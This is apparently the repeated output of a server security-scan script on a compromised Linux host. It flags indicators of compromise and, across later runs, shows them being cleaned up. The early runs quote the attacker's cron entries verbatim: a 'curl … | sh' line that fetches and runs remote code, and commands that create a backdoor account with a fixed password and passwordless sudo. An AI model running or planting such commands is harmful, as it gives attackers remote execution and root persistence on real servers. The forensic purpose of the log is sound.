==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/pakchoi: 8:0 5 * * * /bin/bash -c 'curl -s cavsystem.com/15/382/c1 | sh' 11:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd 2>/dev/null; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi 2>/dev/null)) >/dev/null 2>&1 12:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi)) >/dev/null 2>&1 [IOC] malicious cron in /var/spool/cron/root: 8:0 5 * * * /bin/bash -c 'curl -s cavsystem.com/15/382/c1 | sh' 11:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd 2>/dev/null; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi 2>/dev/null)) >/dev/null 2>&1 12:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi)) >/dev/null 2>&1 ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [IOC] attacker sudoers drop-in (created by malicious cron): /etc/sudoers.d/99-pakchoi pakchoi ALL=(ALL) NOPASSWD:ALL [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe ==== Accounts ==== [IOC] non-root account with UID 0: pakchoi (note: pakchoi=uid0 is this app's run user) [*] recently-added users (by /etc/passwd mtime order, last 5): antmedia (uid 942, shell /bin/false) coturn (uid 941, shell /usr/sbin/nologin) asterisk17 (uid 1003, shell /bin/bash) freepbx17 (uid 1004, shell /bin/bash) pakchoi (uid 0, shell /bin/bash) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /home/pakchoi/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 17 15:34 /etc/systemd/system/timers.target.wants/wakelai-backup.timer Jul 17 15:25 /etc/systemd/system/wakelai-backup.service Jul 17 15:25 /etc/systemd/system/wakelai-backup.timer Jul 17 15:09 /etc/systemd/system/timers.target.wants/wakelai-watchdog.timer Jul 17 15:09 /etc/systemd/system/wakelai-nextjs.service Jul 17 15:08 /etc/systemd/system/wakelai-watchdog.timer ==== Network & processes ==== [*] listening sockets: 0.0.0.0:2086 users:(("cpsrvd 0.0.0.0:2087 users:(("cpsrvd 0.0.0.0:2080 users:(("cpdavd 0.0.0.0:2082 users:(("cpsrvd 0.0.0.0:2083 users:(("cpsrvd 0.0.0.0:2095 users:(("cpsrvd 0.0.0.0:2091 users:(("cpdavd 0.0.0.0:2096 users:(("cpsrvd 0.0.0.0:2077 users:(("cpdavd 0.0.0.0:2078 users:(("cpdavd 0.0.0.0:2079 users:(("cpdavd 127.0.0.1:6399 users:(("redis-server",pid=1980572,fd=6)) 127.0.0.1:6379 users:(("redis-server",pid=1539826,fd=6)) 0.0.0.0:3000 users:(("docker-proxy",pid=709364,fd=8)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=67)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=66)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=65)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=64)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=55)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=45)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=46)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=41)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=39)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=30)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=24)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== 4 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/pakchoi: 8:0 5 * * * /bin/bash -c 'curl -s cavsystem.com/15/382/c1 | sh' 11:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd 2>/dev/null; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi 2>/dev/null)) >/dev/null 2>&1 12:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi)) >/dev/null 2>&1 [IOC] malicious cron in /var/spool/cron/root: 8:0 5 * * * /bin/bash -c 'curl -s cavsystem.com/15/382/c1 | sh' 11:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd 2>/dev/null; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi 2>/dev/null)) >/dev/null 2>&1 12:*/30 * * * * (id pakchoi >/dev/null 2>&1 || (useradd -m -s /bin/bash pakchoi 2>/dev/null; echo 'pakchoi:Kermit123@'|chpasswd; echo 'pakchoi ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/99-pakchoi)) >/dev/null 2>&1 ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [IOC] attacker sudoers drop-in (created by malicious cron): /etc/sudoers.d/99-pakchoi pakchoi ALL=(ALL) NOPASSWD:ALL [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe ==== Accounts ==== [IOC] non-root account with UID 0: pakchoi (note: pakchoi=uid0 is this app's run user) [*] recently-added users (by /etc/passwd mtime order, last 5): coturn (uid 941, shell /usr/sbin/nologin) asterisk17 (uid 1003, shell /bin/bash) freepbx17 (uid 1004, shell /bin/bash) pakchoi (uid 0, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /home/ashraffarid2010/.ssh/authorized_keys has 5 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V [?] /home/pakchoi/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 17 15:34 /etc/systemd/system/timers.target.wants/wakelai-backup.timer Jul 17 15:25 /etc/systemd/system/wakelai-backup.service Jul 17 15:25 /etc/systemd/system/wakelai-backup.timer Jul 17 15:09 /etc/systemd/system/timers.target.wants/wakelai-watchdog.timer Jul 17 15:09 /etc/systemd/system/wakelai-nextjs.service Jul 17 15:08 /etc/systemd/system/wakelai-watchdog.timer ==== Network & processes ==== [*] listening sockets: 0.0.0.0:2086 users:(("cpsrvd 0.0.0.0:2087 users:(("cpsrvd 0.0.0.0:2080 users:(("cpdavd 0.0.0.0:2082 users:(("cpsrvd 0.0.0.0:2083 users:(("cpsrvd 0.0.0.0:2095 users:(("cpsrvd 0.0.0.0:2091 users:(("cpdavd 0.0.0.0:2096 users:(("cpsrvd 0.0.0.0:2077 users:(("cpdavd 0.0.0.0:2078 users:(("cpdavd 0.0.0.0:2079 users:(("cpdavd 127.0.0.1:6399 users:(("redis-server",pid=3085728,fd=6)) 127.0.0.1:6379 users:(("redis-server",pid=1539826,fd=6)) 0.0.0.0:3000 users:(("docker-proxy",pid=3088384,fd=8)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=67)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=66)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=65)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=64)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=55)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=45)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=46)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=41)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=39)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=30)) 0.0.0.0:3478 users:(("turnserver",pid=1529929,fd=24)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== 4 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/root: 7:# Removed: cavsystem.com RCE, pakchoi persistence, amco container auto-start ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) pakchoi (uid 1007, shell /usr/sbin/nologin) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) ==== SSH authorized_keys ==== [?] /root/server-forensic-20260718-225200/ssh-root-dir/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /root/.ssh/authorized_keys has 6 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V deploy [?] /home/ashraffarid2010/.ssh/authorized_keys has 6 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 19 01:16 /etc/systemd/system/puppet.service Jul 19 00:44 /etc/systemd/system/timers.target.wants/dnf-automatic.timer Jul 19 00:27 /etc/systemd/system/multi-user.target.wants/security-postreboot.service Jul 19 00:27 /etc/systemd/system/security-postreboot.service Jul 18 23:31 /etc/systemd/system/ollama.service Jul 17 15:34 /etc/systemd/system/timers.target.wants/wakelai-backup.timer ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1399)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/supabase /tmp/space-monitor.sh /tmp/supabase-go /var/tmp/supabase /var/tmp/space-monitor.sh /var/tmp/supabase-go ==== Summary ==== 1 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/root: 7:# Removed: cavsystem.com RCE, pakchoi persistence, amco container auto-start ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): pakchoi (uid 1007, shell /usr/sbin/nologin) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/server-forensic-20260718-225200/ssh-root-dir/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /root/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V [?] /home/ashraffarid2010/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V /home/ashraffarid2010/halavoice.store/ops/security-scan.sh: line 141: [: 0 0: integer expression expected ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 19 12:53 /etc/systemd/system/multi-user.target.wants/nft-docker-filter.service Jul 19 12:53 /etc/systemd/system/nft-docker-filter.service Jul 19 12:36 /etc/systemd/system/multi-user.target.wants/maldet.service Jul 19 01:16 /etc/systemd/system/puppet.service Jul 19 00:44 /etc/systemd/system/timers.target.wants/dnf-automatic.timer Jul 19 00:27 /etc/systemd/system/multi-user.target.wants/security-postreboot.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1399)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/supabase /tmp/space-monitor.sh /tmp/supabase-go /var/tmp/supabase /var/tmp/space-monitor.sh /var/tmp/supabase-go ==== Summary ==== 1 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/root: 7:# Removed: cavsystem.com RCE, pakchoi persistence, amco container auto-start ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/server-forensic-20260718-225200/ssh-root-dir/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /root/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V [?] /home/ashraffarid2010/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V /home/ashraffarid2010/halavoice.store/ops/security-scan.sh: line 141: [: 0 0: integer expression expected ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 20 09:57 /etc/systemd/system/veedon-docker-fix.timer Jul 20 09:57 /etc/systemd/system/veedon-docker-fix.service Jul 19 12:53 /etc/systemd/system/multi-user.target.wants/nft-docker-filter.service Jul 19 12:53 /etc/systemd/system/nft-docker-filter.service Jul 19 12:36 /etc/systemd/system/multi-user.target.wants/maldet.service Jul 19 01:16 /etc/systemd/system/puppet.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== 1 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [IOC] malicious cron in /var/spool/cron/root: 7:# Removed: cavsystem.com RCE, pakchoi persistence, amco container auto-start ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/server-forensic-20260718-225200/ssh-root-dir/authorized_keys has 50 key(s) — verify each belongs to you: oleg.k stas.zelenin roman.dzhavala ruslan.sieriebriannikov eugene.martakov vitaliy.dyominov andrii.shafran eduard.n stas.g alexander.vershinin margarita.mozgovaya mykhailo.korzhov ivan.maliarchuk oleksandr.shelpov vasyl.sova bogdan.mileyko roman.medvedev sergey.ch alex.chernetskiy nick.krapivin danil.matvienko anna.maerova julia.litvinova victoria.katrich tatyana.svechkar ilya.kovalev anna.nizhalovska mikhail.tsyura stas.demyanovskiy vladimir.babich alexander.reshetnyak pavlo.burch stas.lyashuk alyona.kovalenko alex.ostankov yuriy.yaychenya alexander.dekhtyarev techsup.cxs.scan techsup.l3toolkit bogdan.kukharskiy bohdan.usyk marian.hobrei ilya.ischenko oleksandr.rakov vadym.melnyk lesya.pastuschina vladimir.kushnir maksym.valo denys.pryvrotskyi deploy [?] /root/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V [?] /home/ashraffarid2010/.ssh/authorized_keys has 4 key(s) — verify each belongs to you: user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V user@DESKTOP-RUGRG1V /home/ashraffarid2010/halavoice.store/ops/security-scan.sh: line 141: [: 0 0: integer expression expected ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 20 09:57 /etc/systemd/system/veedon-docker-fix.timer Jul 20 09:57 /etc/systemd/system/veedon-docker-fix.service Jul 19 12:53 /etc/systemd/system/multi-user.target.wants/nft-docker-filter.service Jul 19 12:53 /etc/systemd/system/nft-docker-filter.service Jul 19 12:36 /etc/systemd/system/multi-user.target.wants/maldet.service Jul 19 01:16 /etc/systemd/system/puppet.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== 1 indicator(s) of compromise found. Review above; run with --clean to quarantine the auto-cleanable ones. ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH 